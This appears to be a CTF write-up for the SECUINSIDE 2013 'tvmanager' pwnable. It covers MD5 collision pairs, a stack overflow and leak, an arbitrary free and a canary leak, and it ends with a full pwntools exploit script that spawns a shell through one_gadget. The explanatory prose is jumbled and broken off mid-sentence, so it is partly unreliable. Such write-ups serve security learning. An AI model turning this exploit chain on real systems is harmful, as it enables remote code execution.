SECUINSIDE CTF 2013 - tvmanager
Table of Contents
SECUINSIDE CTF 2013 pwnable challenge The input name is hashed with There are several vulnerabilities and we need to exploit them comprehensively, but the first thing to look at is MD5 collision. A collision refers to a phenomenon where different input strings produce the same value in hash function, and a pair of such inputs is called a collision pair. An example found through googling is as follows: They look roughly similar, but if you look closely, a few bytes are different here and there. As a side note, when a few bytes that differ here and there are When we register a Since the input strings are different, the This allows us to trigger the next vulnerability. Let’s assume that the first Then when we We can either cause an overflow or leak other values this way. Now let’s assume a situation where Looking at the stack values at the point of copying, there are many attractive values written during other operations, and we can leak The problem is the Using the previous stack overflow vulnerability, we can manipulate If the previous leak was performed well, there’s a heap address, so by manipulating In After that, we can use the stack overflow vulnerability again to control eip. The first thing to do is stack leak using md5 collision. By creating Since it sends via socket by specifying IP and port with Now we need to trigger arbitrary free based on the leaked values. Although it’s basically the same vulnerability, since it’s difficult to reuse the collision pair, I used a new collision pair. As in the above payload, I manipulated I wrote the payload so that At this time, I was going to just set the So I overwrote it with Now that we have all the necessary information, eip control is possible. So I set the return address to a usable address through one_gadget. Then the final payload is as follows: We need another pair of collision, and by adding the offset of one shot gadget to the leaked libc address and writing it to the return address, we can execute a shell. 0x00. Introduction
[*] '/home/user/tvmanager'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structure
struct movie {
int size;
int category;
char *name;
struct movie *next;
struct movie *prev;
} Concept
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
read(0, name, 0x20u);
name_len = strlen(name);
md5_1FAE((int)name, name_len, (int)name_md5);
sprintf(src, "/home/tvmanager/%s", name_md5);
mkdir(src, 0x1F0u);
if ( chdir(src) != -1 ) {
while ( 1 ) {
load_movies_145F();
print_list_214E((int)menu_list_409C);
printf("> ");
_isoc99_scanf("%d", &choice);
if ( choice == 1 ) list_1821();
if ( choice == 2 ) register_18B0();
if ( choice == 3 ) broadcast_1DA7();
if ( choice == 4 ) exit(0);
}
}
return -1;
}md5 to create a path, and every time a movie is registered, a file is created under the path with the hash value of movie->name to store the contents. 0x01. Vulnerability
MD5 collision
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')\x00 or \xff, it becomes quite troublesome because they get cut off during strcpy() or fread() processes in the binary, so it’s good to find collision pairs that avoid these well.movie with collision pairs that have the same hash value as names:int register_18B0()
{
...
printf("Input title of movie > ");
read(0, src, 256u);
...
if ( !strcmp(movie_ptr->name, src) )
{
puts("[-] Duplicate title");
return -1;
}
...
name_ptr = (size_t)malloc(src_len + 1);
movie_new = (struct movie *)malloc(0x14u);
movie_new->name = (char *)name_ptr;
strcpy(movie_new->name, src);
name_len = strlen(movie_new->name);
md5_1FAE((int)movie_new->name, name_len, (int)src);
fd = fopen(src, "wb");
fwrite(contents, 1u, movie_new->size, fd);
fclose(fd);
...
}strcmp(movie_ptr->name, src) check passes, and since the hashed values are the same, the same file is opened at fd = fopen(src, "wb"). Stack Overflow & Leak
movie_1 has a size of 0x4, and the second movie_2 has a size of 0x1000.int broadcast_1DA7()
{
...
char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
size_t size; // [esp+424h] [ebp-14h]
void *contents; // [esp+428h] [ebp-10h]
unsigned int canary; // [esp+42Ch] [ebp-Ch]
...
canary = __readgsdword(0x14u);
md5_1FAE((int)movie_ptr->name, v1, (int)src);
fd = fopen(src, "rb");
if ( size > 0x3ff ) {
contents = malloc(size + 1);
fread(contents, 1u, size, fd);
sock_send_2038(contents, movie_ptr->size);
}
else {
for ( i = 0; ; ++i )
{
tmp = fgetc(fd);
if ( tmp == (char)'\xFF' )
break;
stack_buf[i] = tmp;
}
sock_send_2038(stack_buf, movie_ptr->size);
}
...
}broadcast with movie_1, since size is 0x4, it reads the file contents into stack_buf and copies byte by byte. However, since we created movie_1 and then created movie_2, the file currently has 0x1000 bytes of content written. In the above code, it copies to stack_buf until \xff appears, so we can overwrite not only size and contents after stack_buf, but even the return address.movie_1 has a size of 0x3ff and movie_2 has a size of 0x400. If we make the first byte of movie_2’s content \xff, copying ends immediately and we can see the stack memory without changing a single byte.gef➤ x/4wx $esp+0x24
0xffffd864: 0x5655b6a0 0x5655b210 0x41414141 0x41414141
...
0xffffdc70: 0xf7dde000 0xf7dde000 0xffffdcf8 0x56556438stack, libc, code, and heap areas with a single leak.canary. While we need a stack leak for this, the vulnerability doesn’t hold if movie_1’s size is greater than 0x3ff, so this method is impossible. Therefore, another vulnerability is required. Arbitrary Free
int broadcast_1DA7()
{
...
char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
size_t size; // [esp+424h] [ebp-14h]
void *contents; // [esp+428h] [ebp-10h]
...
for ( i = 0; ; ++i )
{
tmp = fgetc(fd);
if ( tmp == (char)'\xFF' )
break;
stack_buf[i] = tmp;
}
...
if ( size > 0x3ff )
free(contents);
...
}size and contents.size to a value greater than 0x3ff and calculating the offset to manipulate the contents value, we can free() any chunk in the heap. The chunk freed this way goes to a bin and is reused as is when there’s a malloc() request for the same size, so if we look for a place where we can malloc() the length we want:int register_18B0()
{
...
read(0, src, 256u);
...
name_ptr = (size_t)malloc(src_len + 1);
movie_new->name = (char *)name_ptr;
strcpy(movie_new->name, src);
...
}register(), we can control the size of name_ptr for storing the movie name, and we can also input the content. We’ll use this to leak the canary. 0x02. Exploit
Stack Leak
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
# stack, heap, libc leak
register(s, a1, 1, 0x3ff, b"A" * 0x3ff) # index 1
register(s, a2, 1, 0x400, b"\xff" * 0x400) # index 2
l = listen(7777)
broadcast(s, 1, 0, 1, 7777)
r = l.recv()movie_1 as 0x3ff and movie_2 as 0x400, and making movie_2’s content \xff so that not a single byte is copied, we can leak 0x3ff bytes of uncontaminated stack from stack_buf.broadcast instead of just printing the content, I used pwntools’ listen().[+] Trying to bind to :: on port 7777: Done
[+] Waiting for connections on :::7777: Got connection from ::ffff:172.17.0.2 on port 39690
[*] heap : 0x5655a000
[*] stack : 0xffffdc48
[*] libc : 0xf7c2b000 Arbitrary Free
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
# free(movie_1)
register(s, b1, 1, 0x4, b"BBBB") # index 3
payload = b"C" * 0x400 # buf
payload += p32(0x400) # size
payload += p32(heap + 0x11f8) # contents, movie_1
register(s, b2, 1, len(payload), payload) # index 4
broadcast(s, 3, 0, 1, 7777)size to 0x400 for free and manipulated the contents value to free movie_1. To reallocate this freed chunk: # canary leak
payload = b"DDDD" # size
payload += b"\xff\xff\xff\xff" # category
payload += p32(stack + 0xa5) # name, canary
payload += p32(heap + 0x16a0) # next, movie_2
payload += b"EEE\x00" # prev
register(s, payload, 1, 0x4, b"XXXX") # index 5name has the same structure as struct movie and executed register.category value to 1(\x01\x00\x00\x00), but since it’s copied to name through strcpy(movie_new->name, src);, the payload after cuts off if there’s \x00 in the middle. If I fill the category value with a dummy value like 0x41414141, an OOB error occurs in list which is executed for the leak.int list_1821()
{
...
while ( movie_ptr )
{
printf("%d )\nTitile : %s\nCategory : %s\n", count + 1, movie_ptr->name, category_list_40B0[movie_ptr->category]);
movie_ptr = (struct movie *)movie_ptr->next_movie;
++count;
}
...
}\xff\xff\xff\xff meaning -1 to solve both constraints at once. In this state, when list is called, since movie_ptr->name points to the canary’s address, canary leak is possible.[*] canary : 0x72657400 EIP Control
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')
# eip control
register(s, c1, 1, 0x4, b"FFFF") # index 6
payload = b"G" * 0x400 # buf
payload += p32(0) # size
payload += p32(0) # contents
payload += p32(canary) # canary
payload += b"H" * 0xc # dummy
payload += p32(libc + 0x5fbd5) # return
register(s, c2, 1, len(payload), payload) # index 7
broadcast(s, 6, 0, 1, 7777) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os, socket, threading
DEBUG = True
BINARY = "tvmanager"
LIBRARY = "libc-2.23.so"
code_base = 0x56555000
movie_4100 = 0x56559100
src_4120 = 0x56559120
bp = {
'read_of_main' : code_base + 0x134B,
'scanf_of_main' : code_base + 0x13F7,
'load_movies' : code_base + 0x145F,
'list' : code_base + 0x1821,
'register' : code_base + 0x18B0,
'md5_of_register' : code_base + 0x1BB1,
'strlen_of_register' : code_base + 0x1B17,
'broadcast' : code_base + 0x1DA7,
'malloc_of_broadcast' : code_base + 0x1F1F,
'end_of_broadcast' : code_base + 0x1FAC,
'sizecheck_of_broadcast' : code_base + 0x1F86,
}
gs = f'''
b *{bp['scanf_of_main']}
b *{bp["end_of_broadcast"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def login(s, name):
s.recvuntil(b"> ")
s.send(name)
return s.recvuntil(b"> ")
def _list(s):
s.sendline(b"1")
sleep(0.1)
return s.recvuntil(b"> ")
def register(s, title, category, size, contents):
s.sendline(b"2")
s.recvuntil(b"> ")
s.send(title)
s.recvuntil(b"> ")
s.sendline(str(category).encode())
s.recvuntil(b"> ")
s.send(str(size).encode())
sleep(0.1)
s.send(contents)
return s.recv()
def broadcast(s, index, floor, room, channel):
s.sendline(b"3")
s.recvuntil(b"> ")
s.sendline(str(index).encode())
s.recvuntil(b"> ")
s.sendline(f"{floor}-{room}-{channel}".encode())
return s.recv(timeout=5)
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
login(s, os.urandom(4))
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')
# stack, heap, libc leak
register(s, a1, 1, 0x3ff, b"A" * 0x3ff) # index 1
register(s, a2, 1, 0x400, b"\xff" * 0x400) # index 2
l = listen(7777)
broadcast(s, 1, 0, 1, 7777)
r = l.recv()
heap = u32(r[0:4]) - 0x16a0
stack = u32(r[0x324:0x328])
libc = u32(r[0x320:0x324]) - 0x1b3da7
log.info(f"heap : {hex(heap)}")
log.info(f"stack : {hex(stack)}")
log.info(f"libc : {hex(libc)}")
# free(movie_1)
register(s, b1, 1, 0x4, b"BBBB") # index 3
payload = b"C" * 0x400 # buf
payload += p32(0x400) # size
payload += p32(heap + 0x11f8) # contents, movie_1
register(s, b2, 1, len(payload), payload) # index 4
broadcast(s, 3, 0, 1, 7777)
# canary leak
payload = b"DDDD" # size
payload += b"\xff\xff\xff\xff" # category
payload += p32(stack + 0xa5) # name
payload += p32(heap + 0x16a0) # next
payload += b"EEE\x00" # prev
register(s, payload, 1, 0x4, b"XXXX") # index 5
r = _list(s)
canary = u32(b"\x00" + r[0x3a:0x3d])
log.info(f"canary : {hex(canary)}")
# eip control
register(s, c1, 1, 0x4, b"FFFF") # index 6
payload = b"G" * 0x400 # buf
payload += p32(0) # size
payload += p32(0) # contents
payload += p32(canary) # canary
payload += b"H" * 0xc # dummy
payload += p32(libc + 0x5fbd5) # return
register(s, c2, 1, len(payload), payload) # index 7
broadcast(s, 6, 0, 1, 7777)
s.interactive()
if __name__=='__main__':
main()